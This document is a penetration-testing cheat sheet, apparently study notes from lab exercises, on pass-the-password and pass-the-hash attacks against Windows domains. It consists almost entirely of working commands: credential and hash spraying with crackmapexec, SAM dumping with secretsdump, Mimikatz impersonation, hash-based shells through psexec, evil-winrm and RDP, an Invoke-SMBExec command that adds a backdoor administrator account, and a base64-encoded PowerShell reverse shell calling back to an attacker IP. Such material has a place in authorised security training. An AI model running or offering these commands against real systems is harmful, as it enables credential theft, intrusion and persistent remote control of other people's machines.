# Pass the Password or Pass the Hash

## crackmapexec

* Then can use

```
crackmapexec smb 192.168.161.0/24 -u <user> -d MARVEL.local -p <Password>
```

to try the password with other machines

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2F8yQ5xnqIDidc8uNlv6j3%2FPass%20the%20Password_or_Pass%20the%20Hash.png?alt=media\&token=94724aeb-b5f3-422a-a96c-eb6cafa9d10a)

Use --sam to dump SAM hashes

<figure><img src="https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2FBlvjzwRk6Gs06bUxlDr9%2FPass%20the%20Password_or_Pass%20the%20Hash-1.png?alt=media&#x26;token=35aca989-3313-4c7d-9dbc-d6e2813cd20b" alt=""><figcaption></figcaption></figure>

* Can then use psexec to get a shell with

```
psexec.py marvel/bwayne:<password>@<ip>
```

* `crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453` try `--local-auth` too

## secretsdump.py

```
secretsdump.py marvel/bwayne:<password>@<ip>
```

to dump info like SAM

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2FMwI5cGS5Pg0ozLnplQHM%2FPass%20the%20Password_or_Pass%20the%20Hash-2.png?alt=media\&token=7d664377-46bd-410a-8b49-5b4a4e2aaefb)

* We can pass these hashes and try to pwn the other machines on the network
* Save that SAM hashes in a text file

## Mimikatz

* /user - The user name we want to impersonate.
* /rc4 or /NTLM - NTLM hash of the user's password.
* /domain - Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.).
* /run - The program we want to run with the user's context (if not specified, it will launch cmd.exe). `mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit`

## [Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)

* Target - Hostname or IP address of the target.
* Username - Username to use for authentication.
* Domain - Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.
* Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
* Command - Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.

```
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
```

can also get reverse shell. Refer <https://www.revshells.com/>

```
Import-Module .\Invoke-TheHash.psd1

Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

```

<figure><img src="https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2FWltrG9pKsGmbnOkX3hWi%2FPass%20the%20Password_or_Pass%20the%20Hash-4.png?alt=media&#x26;token=9061dffb-7989-4527-8d5f-930f2d00a74e" alt=""><figcaption></figcaption></figure>

## Imapcket psexec

```
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
```

## Evil-winrm

```
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
```

## RDP

* Allow pth

```
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

* To connect

```
xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
```

### Cracking with hashcat

**NOTE: \_Can only pass around NTLM hashes not NTLMv2**\_ use -m 1000 to crack with hashcat

## Pass the Hash

Only the second half of the hash is required

```
crackmapexec rdp 192.168.161.0/24 -u "Bruce Wayne" -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local
```

to pass the hash To get a shell we can use psexec:

```
psexec.py "bruce wayne":@192.168.161.133 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```
